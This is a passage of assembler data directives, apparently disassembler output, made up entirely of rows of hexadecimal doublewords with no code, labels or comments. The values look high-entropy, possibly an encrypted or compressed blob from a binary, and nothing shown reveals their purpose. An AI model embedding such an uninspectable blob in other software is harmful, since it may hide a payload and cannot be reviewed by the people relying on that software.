		dd 0D3F5A09Eh, 2005955h, 0EFDEE18Dh, 0CF03B56Bh, 99729ED6h
		dd 0C0CC50EDh, 90F2A7CCh, 1369570h, 0C72D34A8h,	301C567Ah
		dd 0D6723164h, 0EB165093h, 5A31839Bh, 4EF94AEDh, 0F98C0ADCh
		dd 551C19E8h, 14C0995Ah, 0FB4A983h, 3F02534Ch, 4364D366h
		dd 596BD8E8h, 0EA629E65h, 0B8F88FB7h, 0B811FAC8h, 0C22A5648h
		dd 4CF12471h, 6EEA2B23h, 0FBB6CFF6h, 0E650BDD7h, 0B2A2A94Fh
		dd 535FC7ACh, 0A6BE0912h, 0AAAD364Ah, 42E44229h, 0F6B3E970h
		dd 4B954A08h, 0DE9266ABh, 26A5402Fh, 34CFEFF9h,	8F444F45h
		dd 4236CEE2h, 726F778Ah, 854A2136h, 8E1CA9FDh, 0AB35E7A0h
		dd 409CF702h, 1572717Ch, 0C0A67B9Ch, 527ACEC4h,	0D3663B20h
		dd 6CF6EFF6h, 0DE308C36h, 337F2755h, 91B89C32h,	29F70C66h
		dd 5BCB0F45h, 2F1C89C9h, 5BBE92EDh, 94F4673Ch, 5A9B2C23h
		dd 8D9ECEEFh, 0F08AC777h, 96D4C4C6h, 0C4E39BE2h, 5C34E1BEh
		dd 0B7424897h, 0A3CEAAE5h, 33010272h, 8161A11Fh, 0A6DE9515h
		dd 7730795Ch, 30C04C99h, 12FBF5B2h, 142487EDh, 76AA77ACh
		dd 54F55BC1h, 0C15FBB82h, 0D19B1ECCh, 0ED522BD1h, 0F987D3BBh
		dd 1E76A158h, 7001BA27h, 943DFB2Bh, 19269348h, 0E07F82B1h
		dd 359214ACh, 98E7110h,	0E3F2A77Bh, 39732FDDh, 361B7A47h
		dd 3764224Ch, 1A6D4E74h, 25EDB539h, 0B3213CD3h,	0A2288201h
		dd 0FE373416h, 48499005h, 3F9A4927h, 3C0AD1F3h,	0B50225EFh
		dd 0D0561AAFh, 83465030h, 0F813AD02h, 83CC3C9h,	4EB25144h
		dd 76C0731Fh, 0BA338Eh,	273FBAADh, 0BD90B55h, 560013D5h
		dd 0F64A4FF0h, 0D71CC246h, 1D6568B8h, 5D1A0FEAh, 59203ED4h
		dd 0FB869FAFh, 5C74B92Bh, 37E4B4AFh, 0A5D87D3Bh, 0FA56FBF3h
		dd 9251E142h, 0E98AE2F6h, 9C66548Bh, 6E0466E9h,	6E2DDCF9h
		dd 0F68ED21Ch, 9C5F670Fh, 0CD30DDB9h, 0C8894079h, 0EDC8CD30h
		dd 0BA5ABE1Ah, 0FF2DCE42h, 0BDD95EFDh, 1C000h, 1E5Ah, 0BC065E00h
		dd 4E870640h, 64B010F0h, 5E266327h, 41707F01h, 7D36CEADh
		dd 57BE2898h, 0F62F5C41h, 0ECD5642Bh, 75B7B58h,	0BE074D85h
		dd 0DA89EBE4h, 778100A0h, 858EDF44h, 77895240h,	5DD77011h
		dd 9F17C25Fh, 42896BD3h, 145390B9h, 4F8E283h, 853309A2h
		dd 9752F1CAh, 9DC97EFh,	0C4357034h, 0C99F2BE0h,	4784EB0Bh
		dd 1141206Fh, 66ECBA6h,	0D27B322h, 0BCABC31Ch, 0AF14CC79h
		dd 651C9EC3h
		dd 10F1678Dh, 3B4213CEh, 0AD2DCEDh, 0E2D0477Fh,	1D2A696h
		dd 0D87EC131h, 0FCF090E8h, 2480FE81h, 55796912h, 0A47F5996h
		dd 646AE718h, 0D446A885h, 0D9C7B4D6h, 72593044h, 7F4DD887h
		dd 9FA7F6F0h, 0DFD4E55Dh, 110BF46Eh, 9B30D23Fh,	824C7ACBh
		dd 95CB303h, 9D5302FEh,	903324EEh, 51623464h, 3ED483CBh
		dd 42434A2Bh, 0F9E26503h, 0B9505F06h, 706F04F2h, 0B1EC3349h
		dd 55C6FD27h, 0FCE2998Bh, 901AF4FDh, 8A4E9587h,	0F87B450Eh
		dd 0CF596C43h, 0CE5764F3h, 0CF3B4D33h, 0BCF68CE2h, 0D7029787h
		dd 4EDB9F1Dh, 0C6880B50h, 11EC2255h, 233DF7A7h,	6C321562h
		dd 95F0401Ch, 30E20765h, 93BA5FAFh, 0D074F8EFh,	307CD4F2h
		dd 177DB3FCh, 0AAD6F965h, 14D92EE1h, 58C75D59h,	8BB15E63h
		dd 6F028ED6h, 0BAEB54E5h, 0BD474819h, 2A8C35Fh,	63A14F1h
		dd 6D2FCC8Fh, 0CA042249h, 1A6D61C2h, 269F555Bh,	9255A2BCh
		dd 57B03E81h, 5BCBDE54h, 771C4558h, 0E8AF3A94h,	144395D6h
		dd 0D7EE27F8h, 0AD146CACh, 0BA07E2D1h, 4F430C15h, 0E9151194h
		dd 58124B8Bh, 0B59BAB3Fh, 72D83777h, 0BA9FB5Ch,	4E54878h
		dd 416AB5A3h, 0C83EC46Ch, 122201B8h, 18F4D286h,	0F97D7C9Dh
		dd 34AE0162h, 0A3B025FEh, 4D930630h, 1D6AE691h,	5CD801F2h
		dd 7BD6C1B2h, 741BD715h, 0F4906E13h, 0DEF80212h, 97018BA6h
		dd 0AFE86E10h, 0CCF9245Eh, 93554474h, 484C49A2h, 0A6AB4A40h
		dd 0D6AB33C7h, 2DFEBE2Bh, 9829093Bh, 0FCD49261h, 4A149EDEh
		dd 8D6B1915h, 0C06837A7h, 69AFEA55h, 0ECD59AD4h, 8987417Fh
		dd 9A9B5B74h, 0B5D528E8h, 4C327AA2h, 778D5286h,	3D535B84h
		dd 29DE450Fh, 60B18E3Ch, 0F7E6089Bh, 73BE53F9h,	81F23832h
		dd 0FFE77AA4h, 51E56DAFh, 6926054Dh, 7637A287h,	2CE30ABAh
		dd 0D228A0F3h, 2D5948FAh, 89FBAF92h, 0F6F12DCBh, 7B75BB70h
		dd 5BDC0CDAh, 0B757DACDh, 0A753555h, 3A341622h,	149F9725h
		dd 6C109498h, 0E04D4AA8h, 78B8D95Ah, 9D5EFDF9h,	0B8DBD57h
		dd 107D531Ah, 8104C72Ch, 48CED65Bh, 6E2B6D8Bh, 0A35F6436h
		dd 0FDDA6808h, 2B3E941Dh, 68972841h, 0DC7A6866h, 627EDD70h
		dd 88B86331h, 31D665B6h, 8AD75E3Fh, 25B43087h, 89DB07F3h
		dd 0C74BAD31h, 1E293F58h, 0E94A89D8h, 423ACAC6h, 0D26FEC9Dh
		dd 9B616494h, 5FC9DDBh,	0FE36A987h, 0F16D426Ah,	0F25F722Eh
		dd 0F7FB8755h, 0F74537CCh, 7B1D41BBh, 9CE8478Ah, 2FCC4C87h
		dd 0EC5775FEh, 985EDB63h, 0FC93F0CBh, 0F23B87Eh, 0CC307F63h
		dd 0DCF7042Eh, 0A089F81Eh, 0CE237E4Dh, 0F1CAD78Ch, 0EC202F47h
		dd 9BE4444Fh, 0BBC6D23h, 1329CA28h, 60311A49h, 0E1D1719Bh
		dd 60BA7F64h, 0A3F54168h, 7CA64B94h, 85EF5590h,	31005AF4h
		dd 0C5A67BEAh, 0EECDAE6Bh, 0B80EB43Bh, 0E53A0EE7h, 0C64850D4h
		dd 0A8E5E478h, 0E5501932h, 2B99F68h, 71433891h,	0F55FA316h
		dd 0A6F0D6A0h, 0DB4E959Ch, 0BB3A336h, 0D146D2CDh, 0C96A33C5h
		dd 0D6821616h, 0FE81C5Bh, 1238094Bh, 75E4CBE8h,	704368Fh
		dd 74B6E41Bh, 0E1D474AEh, 0D10050C5h, 74A35B30h, 8F6C5A5Fh
		dd 9D2D829Dh, 6CB2B69Eh, 27265843h, 83768D8Fh, 53055248h
		dd 89455897h, 30396CC3h, 7136D970h, 9665C666h, 0B0DA33C5h
		dd 0C17D4FF9h, 3A1C3478h, 0C6F9FB14h, 187EA38Ah, 0F415C393h
		dd 64B3B868h, 5D292AADh, 4C2A5554h, 0EFA92D3Bh,	9871DEE1h
		dd 0FFB2EB4h, 9E3C6508h, 8FC7B5A1h, 2DE6C587h, 31F3F9B0h
		dd 976EC7BEh, 42F01D04h, 0CB18D62Bh, 84DEA2A8h,	68CD44B6h
		dd 7A91E771h, 224806F4h, 27508ECFh, 0A3F70D2Dh,	9D24017Fh
		dd 0AF715508h, 0DDFC4B90h, 29C9DE18h, 0A40B05BBh, 0B76EF7ABh
		dd 77B2099Ah, 8F6A35AFh, 0C6BF391Fh, 5417A2C8h,	4B7C6E20h
		dd 59C2899Fh, 81CB2DDBh, 6302F1AAh, 5E20994Fh, 91B20A4h
		dd 0EFFCFF78h, 0D9E3CAA6h, 0AC0CC183h, 0D7158A37h, 4B6F58E2h
		dd 0A1F5024Dh, 2E71BFB6h, 0DFAD2257h, 3A57A76h,	0E8F16472h
		dd 2259643Dh, 734D1C80h, 4C2CFEBh, 5A9A8949h, 34239B7Dh
		dd 0CB203979h, 111C265Ah, 0E96AA9ACh, 88E3699Bh, 63F69390h
		dd 31366367h, 0F750A6EAh, 0D06411A5h, 0C2B23C4Dh, 0F148296h
		dd 2A62E7CEh, 20D1609Ah, 0FCF630A0h, 0BF20CA16h, 30FBCE71h
		dd 2112AF77h, 2B05CA21h, 547935EAh, 0A071A9E0h,	255F2B85h
		dd 4ED1ADBAh, 7D71CA1h,	0D0AEBB90h, 65FFFE3Fh, 2F500ABEh
		dd 0D33AE043h, 66B6CA05h, 343732ABh, 0E4E5EB1h,	53C48E17h
		dd 94DBDFC9h, 838BA1BCh, 44DCB58Fh, 809093Dh, 6051DAB2h
		dd 79CE0522h, 3B4BEF4Fh, 353A900Ah, 54EE9A23h, 0E72674E5h
		dd 8FA65006h, 0B60376B8h, 9C6F9732h, 84AA3B89h,	468F9E31h
		dd 4DB17333h, 32CCA0BFh, 0F18290CAh, 0C7181EE2h, 5D374FFEh
		dd 40A20407h, 0D389FF8Ah, 5BF1C70Fh, 0E7DD7ABFh, 0D6D4FB93h
		dd 0ADCE444Ah, 3EE40BF4h, 2149D14Bh, 95DD0D78h,	8F82C6BDh
		dd 0E345BA59h, 6984DD68h, 7DD2FBB8h, 0C030E7F2h, 0F2B812A6h
		dd 19E66886h, 15A5AD05h, 861FE348h, 5BAC1911h, 83FB5A7Bh
		dd 78052DF8h, 0A6F1739Fh, 0A70CE118h, 8B22F5Ch,	51264FE4h
		dd 9876AB25h, 0B38C6BEEh, 49111198h, 96F7F5B2h,	0BEC819AFh
		dd 1F7ABA18h, 0D17B9EEEh, 4C5AA9F2h, 72BDE03Dh,	4FD9984Fh
		dd 5E04DB0Ah, 0E6EE624Dh, 25FFD35Dh, 86550FFDh,	2BD9B93Eh
		dd 0B2FF7E3Eh, 0E94E066Bh, 73A52803h, 0FB39426Ch, 867A1C44h
		dd 0C136E9DBh, 8A49AD90h, 0F740995Bh, 4F591F69h, 0A9463CB8h
		dd 0C52CB061h, 0D64ACF91h, 0BEFAD851h, 5D2BE600h, 622C2578h
		dd 4D89F9F6h, 7F71CE99h, 458E1C33h, 79A01200h, 6468515Eh
		dd 0FB4803B0h, 0F2744185h, 0E4B27BEBh, 0FBB83005h, 205915E6h
		dd 5D42440Bh, 8172CAB0h, 1109962Ch, 0BACFF0C3h,	22E241C3h
		dd 42D9E239h, 3185A4A9h, 8EC5FF09h, 537824B3h, 618D77EBh
		dd 0C59C7AE4h, 58C2FCAEh, 0F224FD49h, 3104CD91h, 50AA83E0h
		dd 0C2D8BA65h, 121C384Fh, 0CE8B8D55h, 8E039607h, 25102D4Ah
		dd 0D22698E6h, 0EE391324h, 0FEBE77D3h, 93D20A19h, 3F4BF437h
		dd 2B7BDC90h, 7DB6B4FAh, 744A885Dh, 2E5B23D2h, 9AFE553Bh
		dd 5593F7B3h, 0CF20DAF5h, 65407B97h, 0F98A572h,	72FB470h
		dd 4E743288h, 8AA5826Eh, 0C011E63h, 3349CF03h, 45E4C077h
		dd 0BE39CE13h, 9B32E5B8h, 0F7F7DF24h, 0A28AD96Eh, 0A8CAA381h
		dd 0D2AFD9D3h, 0B1DAF5AEh, 966CF1B0h, 76F955F5h, 6D2447D4h
		dd 0E1D654E5h, 49B1AE0Ah, 7F7AE484h, 0D61C10Eh,	0FD669B6Fh
		dd 3CFB1C00h, 69D617ABh, 1D6B2E09h, 0BF4A0951h,	151FCDD2h
		dd 3627876h, 5898755Fh,	0C67EF77Dh, 0EE98EFF2h,	5FBB9547h
		dd 0A038C40Bh, 72306454h, 0E3ABB55Dh, 92461489h, 0A9673AC6h
		dd 5014201Eh, 36E5D21Bh, 0D2005795h, 10F9FA5Dh,	1BF10915h
		dd 0AE82650Bh, 0A710A0C7h, 5A8B160Fh, 0FBC81B4Ch, 601BB7F6h
		dd 7CAD2F28h, 49F6F70Ah, 30099C20h, 0A133083Fh,	0BE1C5A5Dh
		dd 3192DB60h, 2B1D7101h, 477B41B0h, 907D0C26h, 0F91C5FF6h
		dd 5D30595Bh, 695BC95Ah, 0CDE9BB82h, 0F7736690h, 5AC39BA6h
		dd 0EA90981h, 2863D932h, 0F378D01Ch, 23DEE934h,	422F75E1h
		dd 1E0BF453h, 9515F040h, 64A263ADh, 5DA732A3h, 0C15E55F1h
		dd 0A4F0082h, 106A1DCh,	0F8B08778h, 244CD438h, 335372C8h
		dd 0B4434C01h, 12F7EC2Eh, 0C6F185BCh, 0E2222625h, 0A33D03E9h
		dd 0D2D789A4h, 6B6B699Fh
		dd 892AEB53h, 0D8870DF1h, 778DA198h, 30949F87h,	0F5ADC0D0h
		dd 9999671Dh, 0F588C70Fh, 5AA2F026h, 0E1EBF5BBh, 2119B2B7h
		dd 409C05A8h, 1DAC746Fh, 36E90051h, 8DCD182Eh, 4666DFECh
		dd 3123B9A7h, 2F915DB8h, 32D1D207h, 78B795Dh, 0ECE9A9D1h
		dd 0D01C4789h, 82F07C83h, 24A2C056h, 8118065Dh,	6DEA344Ch
		dd 0AEAB11FAh, 0FCE33E6Ch, 5CB85BB0h, 0C02E76B9h, 0D7982AC1h
		dd 36666653h, 9E441BEEh, 10A29129h, 0E2DC491Fh,	2C8634F7h
		dd 0ADC3A9AFh, 29A53D64h, 8F3D9724h, 616CDE42h,	0B24772A9h
		dd 0BEF162F7h, 0D2F95882h, 5589AEDh, 7BCF0AD7h,	0C9549974h
		dd 658DFA0h, 8DBB1434h,	84B7A4B6h, 0DF5CA229h, 7E5184E9h
		dd 0BC4E07C5h, 0F9FE7A57h, 7C3FC3BAh, 0EC9DFE9Fh, 7493804h
		dd 0CC92094h, 40E12983h, 6B102A70h, 831B9BBBh, 6167C58Ch
		dd 1FA1A037h, 88D75EB1h, 55D21D1Ah, 0EE2587D3h,	5CA9AD77h
		dd 2D299384h, 9458DEB2h, 6CA522B6h, 535ACF82h, 0E9417C8Fh
		dd 56B92EE9h, 0F5526591h, 0BFF41634h, 4436E1EDh, 0A5F94AC0h
		dd 0BF85AAA0h, 0AFA3101Dh, 757F7A55h, 0E4455468h, 35A7B601h
		dd 6CC5DEEh, 0D73524C6h, 0D90F35DDh, 0FF6D1894h, 46BD5214h
		dd 0E5F49203h, 4A09152Ah, 53EF3513h, 0D6E70B6Ah, 9A2AB6C8h
		dd 7E7DECF5h, 0EFB622EEh, 8F8F6B3Eh, 6D0D6D7h, 8B5FECA9h
		dd 0A5C201B3h, 21A780Ch, 0F9027E6Dh, 42EA9ADFh,	699875F9h
		dd 0D1D0C08h, 5CDFDC4Bh, 0B56D1333h, 6649FF9Eh,	0B91CE7Bh
		dd 4E979514h, 6110A25Bh, 0D13AD2D8h, 0DA894AF5h, 63C75405h
		dd 0AA1E4991h, 0FB4F3499h, 0DA7AF532h, 0D9743F18h, 0AA238301h
		dd 4488C5BCh, 2BA428F0h, 349303E2h, 0BDAB804Ah,	0BDD4180Fh
		dd 1655DDE3h, 6AAFFA45h, 15041DD1h, 0B5FB8DD0h,	0B0D42809h
		dd 24E20BCDh, 3DD5525Fh, 0D646EFEEh, 495106B1h,	0BA2E9EAAh
		dd 7273D88Ah, 0A2079916h, 0F7520E61h, 0D5C69F0Ah, 0A1B76C1Ch
		dd 0DD304B9Ch, 0E3CB159Ah, 4192F26Ah, 0E83DF2D6h, 0C6695268h
		dd 1DD75237h, 0E9018CFBh, 2F9A71EAh, 0D68A119Bh, 0A1B0EA95h
		dd 5FF6EFC2h, 14C1294Ch, 0E8D34EFDh, 0B30D972Eh, 5AE826Dh
		dd 62FF6708h, 6A36BA0Eh, 5DA7AB91h, 0EDB69FFBh,	0CC6038C2h
		dd 87B576Ch, 0D0F079C3h, 0A53F8FD6h, 318898FFh,	2E0F4DF8h
		dd 2ACAAA75h, 0EDA22221h, 70199DFAh, 5C49B6E8h,	0D294D76h
		dd 4325C814h, 415C4BCEh, 9AF8C4D1h, 0BD101171h,	653FC0CAh
		dd 76CBB168h, 37DDFB6Eh, 694ECB4Bh, 0F2F55713h,	0EDFBB518h
		dd 0ACC25CE1h, 15A09BD6h, 39AB9DFDh, 2F381C8Ch,	0AC57D27h
		dd 8551503Fh, 1B88E92Eh, 0DA3AFE9h, 43378DCAh, 0EDA2B4E6h
		dd 3E74A67h, 0DCEA2499h, 573CE0CDh, 9381BEFFh, 4F1AEA15h
		dd 0EA9D74DEh, 77EEDCAh, 71248353h, 0E531163Ch,	3F1F97B5h
		dd 116132E1h, 4CACBFA9h, 9A837EB7h, 5939184Dh, 85BBAD6Dh
		dd 0CF9DD0DCh, 0EE9D59B8h, 8C64664Fh, 3B4F8F7Dh, 3E45DC5Fh
		dd 0BDABC687h, 0A9BAF2B9h, 3BC32E28h, 0CCA8723Bh, 0CCAF56EAh
		dd 5F33F16Fh, 0D3EE80EEh, 0EF40291Dh, 0C23F6EB3h, 0C630B9FBh
		dd 3518BE92h, 870B2DD2h, 0B6EF0B50h, 4501A601h,	6550E26h
		dd 0FCC099E2h, 8EC4D5EDh, 2D80C5F2h, 9B194AA4h,	742774E0h
		dd 0B853DCECh, 87507CCEh, 0BC33CDD5h, 1763B37Fh, 0A8B26B6h
		dd 99E7F78Eh, 0C16A52DDh, 348A095Ch, 8D7C01E7h,	0A9512F92h
		dd 0CA15279h, 37EE91E3h, 0ED031A9Fh, 0BD9AB40Eh, 1F8B0590h
		dd 0F6A41D81h, 0B5E7A003h, 450F2849h, 640EE8BBh, 0B75C9CDDh
		dd 31B88350h, 70C2FC52h, 88203CA7h, 0EEF5A75Dh,	63E754CCh
		dd 5C4050CFh, 0A8F82D4Fh, 0C6129E98h, 8C6B8E7Ch, 5B5238Eh
		dd 2DE7AFBEh, 5191D2DFh, 2933A065h, 85DD777Ch, 7D5B0046h
		dd 87555576h, 2875DB4h,	80805C58h, 643BCB8Ah, 0D7B8A771h
		dd 0F757556Ah, 0C339FDE0h, 133FF1DDh, 80ED7F35h, 519F7F4Fh
		dd 0F2531543h, 0C3A3F830h, 0C55CDE41h, 18FC03AFh, 0D910C5A3h
		dd 0AB3C57CDh, 0B4604C87h, 0AF247A34h, 0A22E485Bh, 6F8FA36Ah
		dd 0D27A805Dh, 8B728275h, 0A3EF6AC9h, 1B615CB2h, 4F3BE0F2h
		dd 0A73EA3D7h, 5ED8A860h, 0B9783C77h, 2585E7B0h, 4B7B9722h
		dd 0ADE83F27h, 6F2A8FFh, 0F06B76A5h, 0CA23C9A7h, 0FF040E1Bh
		dd 0D6755763h, 59A5D5C6h, 98C7EF25h, 171E8CB6h,	0CFFF2396h
		dd 223A8208h, 0AF4DBA9Dh, 3799256Ch, 12EA8C36h,	4954163Bh
		dd 0E14A010Bh, 0A24FD593h, 0B20574D1h, 40393AC0h, 16CB7920h
		dd 91B1EF0Fh, 85DD0FB8h, 8C031E4Dh, 2D99F0D9h, 9C12C75Eh
		dd 0CB901A9Ch, 0D7DB832Bh, 30405377h, 9E5802DEh, 0FAF2B893h
		dd 0B7117541h, 7BE6DB1Bh, 5803BA6Ah, 9876E4D4h,	23BEFC1Bh
		dd 193B977Dh, 969D41Fh,	47D2F16Fh, 0A1B5A7F6h, 58E713B9h
		dd 7390A33Bh, 79A9D5Eh,	6C6FFFDBh, 3293AF75h, 3FB09927h
		dd 0F0046795h, 0A2F57588h, 7A18F15Fh, 1B635E5Eh, 8BC9F8F3h
		dd 9A19FCC7h, 0E90EE1EFh, 0F571B65Eh, 7D93ECF4h, 0ABF5C425h
		dd 3709B567h, 0A0974794h, 7CBC3571h, 951FF0DFh,	4ED82607h
		dd 1836FC4Bh, 0B9C02136h, 0BBD7C02Fh, 34172420h, 60812547h
		dd 32456A99h, 0D1FCACB0h, 0D606C562h, 5424178Ah, 630E56AFh
		dd 14CC71A7h, 0F9222CB8h, 4F4BB4F8h, 0AC7A274Dh, 0ABA1EB5h
		dd 9C59783h, 68D7174Ah,	6E53F030h, 0ECD93BD7h, 0E35EDADCh
		dd 1DAC6AC6h, 0E3343C0Eh, 0B7E3CA02h, 0A36C2DC1h, 0E7F402A3h
		dd 2C9D5AC9h, 8D436250h, 5CCE73E9h, 74DCC069h, 310BF9F3h
		dd 3B06FDCAh, 0BD5757A6h, 0BE407DDCh, 0B09B29Eh, 0EF930399h
		dd 0A82D636Ch, 0E4A53A60h, 7F93866Eh, 0A4FCED58h, 0E24A258h
		dd 0A0D2E257h, 71778F71h, 85C68CD5h, 931ADBDDh,	47BF2172h
		dd 850F5B84h, 190E7BBFh, 68F41AEBh, 9A3E3C29h, 0D36C137Ah
		dd 6042B10Ch, 9CE0C1F7h, 36E7EB48h, 2771395Ah, 0F34C8D56h
		dd 7F8F3C88h, 0D0B7586Ah, 638B69D2h, 0FEAADB60h, 2F4C3E41h
		dd 0FCFF0243h, 0B056C1A5h, 0CB01E3B8h, 0BE324F7Ch, 69672D37h
		dd 0F3367743h, 3FBEAD91h, 0BA4E9006h, 16707CEBh, 397A7D8Ah
		dd 0FD0E7C6Fh, 0DFD75104h, 7EDF7E30h, 0B648740Ch, 309E89D9h
		dd 6DB57A39h, 35FC00E5h, 0F0724D01h, 0A9987D78h, 968B28A7h
		dd 0CAF0DF3Fh, 94D95144h, 10D926E0h, 2CBD98AEh,	59E37C60h
		dd 0BED6E5DAh, 530059A9h, 39B2E07Ch, 0B8A8070Dh, 0D19BD2C8h
		dd 8EB1F4h, 7C64D1D0h, 2179C46h, 0A8C17526h, 8C0B4871h
		dd 57154257h, 5F82F36Dh, 0CCA31F68h, 7D9187B3h,	56F6C39Dh
		dd 9BB3F975h, 8DA56CF2h, 6B17B968h, 87A9011Bh, 4A373120h
		dd 43D97FD6h, 39255825h, 0B969563Fh, 0E781730Dh, 67364A50h
		dd 547D0883h, 146E5C9Ch, 0D086AB19h, 0B4E7442h,	66BB90CFh
		dd 0E8F62608h, 3F1B6FD1h, 42D929FAh, 5C6DC00Ah,	800DA947h
		dd 0A79542B7h, 9E4F0F4Dh, 0D39D912Ch, 9D58B180h, 0C16DDDA2h
		dd 0E7275D9Ch, 0F1080760h, 6A8EBA47h, 22D33330h, 0F455FB36h
		dd 0ED667AD6h, 485D122Fh, 37B48B9Ch, 12724FCh, 0C977C026h
		dd 232CF3FBh, 0E9598B11h, 9A8AD01Bh, 70E1ADDEh,	0FB066883h
		dd 2B5369EAh, 0E025DA75h, 569B275Eh, 5C53209Fh,	3E616FCEh
		dd 4B7E1741h, 30ED31F3h, 5A829D49h, 0B6ADAE96h,	0A4B4E193h
		dd 0ADED2326h, 38BA2649h, 0B5CB93CFh, 54769682h, 0EF2C30F5h
		dd 7637B5A9h, 0ABC884DEh, 0D53486D6h, 4EE98549h, 3C2C40h
		dd 0D501D0AAh, 0C0E4FE84h
		dd 5C74B44Bh, 7C7808C5h, 139C635Fh, 7EF9AC15h, 384E8F4Ah
		dd 83660412h, 94321C38h, 8C2A9965h, 7F3E4900h, 44BDBA82h
		dd 5B1FB22Ch, 99749B33h, 0B38F444Ch, 9603F054h,	0EE6FDA3Eh
		dd 5DA4578Fh, 88C257ECh, 0EE9202DBh, 3BAE8DF7h,	3964D48Dh
		dd 0C44FECCBh, 928AEEh,	3B1E5A97h, 82BEBF30h, 82F11883h
		dd 0CF80D06h, 0D7E79220h, 5181356h, 910902E8h, 77510972h
		dd 2AFC6667h, 1A77ADAFh, 0DA198B64h, 5A9AB432h,	1BEA532Ah
		dd 3F205C7Bh, 5FBB488Fh, 0CACD81CCh, 606050CFh,	45AB134Ah
		dd 55E48F79h, 4C858FE6h, 0A9C77645h, 5D8E3513h,	0C84ACBA5h
		dd 0E887C3Ch, 0D8C2C042h, 0C2762519h, 442AD955h, 36A5890Dh
		dd 7656D32Ch, 550733FEh, 36C5F63Fh, 1033AD1Eh, 0F67C95Fh
		dd 0C898E495h, 9B4727EBh, 0F945C940h, 12383943h, 66480DAh
		dd 0F1B04344h, 8E4490B6h, 0DD4219D9h, 2CF6E0BFh, 81FAE032h
		dd 0F3483E8Bh, 98A7F236h, 0CB8B6989h, 799168DFh, 1B8E9579h
		dd 26F07E2Dh, 9428187Dh, 0A8C35E45h, 13C086Dh, 7FFE1CCDh
		dd 29357A24h, 285E9AE0h, 4E6D766Ch, 633EBD68h, 8B08C4A0h
		dd 4B87E2F5h, 6C96F879h, 0ABC42E9Ah, 2522ED30h,	5670BC1Eh
		dd 0E7652BBCh, 0B25E3760h, 43837F92h, 0AEE2FB0Eh, 5ECE4073h
		dd 61BE234Bh, 0FA450242h, 0EDF3441Ah, 1B1B5617h, 0A507B2E7h
		dd 9A92FDA1h, 9D841648h, 6FAB5BEFh, 0D534FA6Dh,	8A426BC6h
		dd 360E0BB3h, 0F5CF6283h, 0B9F0B22Ch, 3DB3AE40h, 6B237064h
		dd 33F148Ch, 0D66D257Ch, 0E8424993h, 0C50F1C06h, 0A5FB30FAh
		dd 0D7E092B1h, 0DAF4C0Fh, 5BF4F7C2h, 2758F391h,	2E9A67B3h
		dd 511A95A3h, 0E6BF604Fh, 795C13Eh, 1D75E648h, 33A03B1Eh
		dd 57241CE5h, 0A639AB01h, 0B5C0D920h, 0C0D72ED5h, 1CB77E07h
		dd 9571EED3h, 0D9E6147Dh, 0BE4FE494h, 31861B71h, 0B964ECC2h
		dd 3020982Ah, 950CC48Ah, 9605553Bh, 0A28A8F9h, 0C8DA302h
		dd 48D048C9h, 7EDA9FABh, 29C84A42h, 0D14C8060h,	0BE9C31EDh
		dd 424DD872h, 5897FE3h,	22B29FB2h, 1AF28427h, 44EEEFE6h
		dd 0DAE9FEB6h, 4C109983h, 0CD563333h, 6E9F7752h, 56D8A8E6h
		dd 0BBAAECB0h, 76662D34h, 4FAD110Dh, 930D853Eh,	0D8D08A3Bh
		dd 0EEE4323Bh, 2CF051EEh, 0C6189BD9h, 8DF3CBDEh, 0BD8EF85Ah
		dd 324BA524h, 7572F3D3h, 73C9F9FAh, 3728D53Bh, 0B633B9D8h
		dd 354FF876h, 0C411113Eh, 0A7F51346h, 6EEF1471h, 0BA3E922h
		dd 508EC465h, 9E133236h, 3598C54h, 6C2004B1h, 0A8FB0B9Dh
		dd 810972FEh, 0EEAE6E0h, 0ACFDC20Ch, 227B7DE2h,	1913D344h
		dd 6C5B4426h, 0BABF1345h, 365C5051h, 0B05DF882h, 0F4C3094h
		dd 855BEC39h, 0A7D774ABh, 86C429Dh, 0F617AC9h, 47F06AB9h
		dd 9B01CDCEh, 86B292AAh, 28CE22B4h, 0C6DD0F4Ah,	0B06A0B88h
		dd 0BFDDC4Bh, 0BE31BC35h, 64D11A0Fh, 700A8C8Eh,	0A132AE4Ch
		dd 0E8B59814h, 67BF47B3h, 4569576Fh, 0C611AEh, 0DDE94E2Dh
		dd 607844Bh, 0A33EB83Ch, 59AE0927h, 5449BFD4h, 665C7F2Bh
		dd 0FBBAAD60h, 0AFA265DCh, 0F60ED1B8h, 0B105031h, 29C70E6Fh
		dd 0E8176906h, 0D5D84BB3h, 0D1E170B8h, 0A36A90B0h, 8C29D3AFh
		dd 0F5C08ABFh, 0E4BA9759h, 0D6F493DBh, 8B5CBE6Ch, 28CB84B4h
		dd 0C2ED78EBh, 38E2DB02h, 0CD7AF75Ch, 424AA534h, 0F9C709D2h
		dd 8A1D50C1h, 0D6774A90h, 1A5D6743h, 387C6BEEh,	0F0133E6Ah
		dd 0B40BC49Bh, 0BD8EB439h, 60E51F12h, 5E857BC8h, 4529C115h
		dd 2174EFBCh, 4C27591h,	9F4B3D0Bh, 787CFFE7h, 0BB80E7EAh
		dd 56CF236Ch, 0B3208BF3h, 0ADAD57F0h, 6DEAF121h, 67449B67h
		dd 0B8508981h, 0E9361E20h, 55F4280h, 2D1275BDh,	0EEA893EDh
		dd 8121226Fh, 9372F28Fh, 1504B78Ch, 4186161h, 4F2F5D46h
		dd 8EFE828h, 8312E0FCh,	0E02926A9h, 9195E51Fh, 0CBE85E46h
		dd 9DFB6D2h, 0FF371E38h, 2AEE44A4h, 1102A4C9h, 0FEB55AF2h
		dd 82C790CDh, 3B1E7EB6h, 25FA7095h, 0FB90D38Ch,	0E120F3BAh
		dd 2F0DFFCh, 908A5C4Eh,	367E560h, 0AD971A05h, 0F732F9E2h
		dd 57B7D9B6h, 144A0A83h, 6D52CD67h, 14CBDCF7h, 0A6217EF2h
		dd 0F828D4A1h, 21DD11B7h, 0FAC4911Ch, 2C33591Fh, 0D71A27F3h
		dd 0ADFD75ABh, 47FE6A0h, 62EF824Dh, 4F4B40BEh, 0F4ADD944h
		dd 2C76822Ch, 0CFD4C863h, 768DCF7h, 0D263CB3h, 9FB7E4F2h
		dd 5813C02Ch, 3F85799Fh, 7F260A82h, 8C659392h, 0F02E95B5h
		dd 3125179h, 118928ECh,	9C7AEB28h, 4927C40Bh, 0AD2FB7F1h
		dd 530D9E13h, 0A705AE38h, 4C17A921h, 0A223D54Eh, 9400B826h
		dd 9E8AA24Ah, 177986A8h, 501C5E4Ch, 0AAE71B36h,	8BD3989Fh
		dd 0E8D5AB2Ch, 2736430Eh, 0CF0D49A8h, 4723215Bh, 30F13CCDh
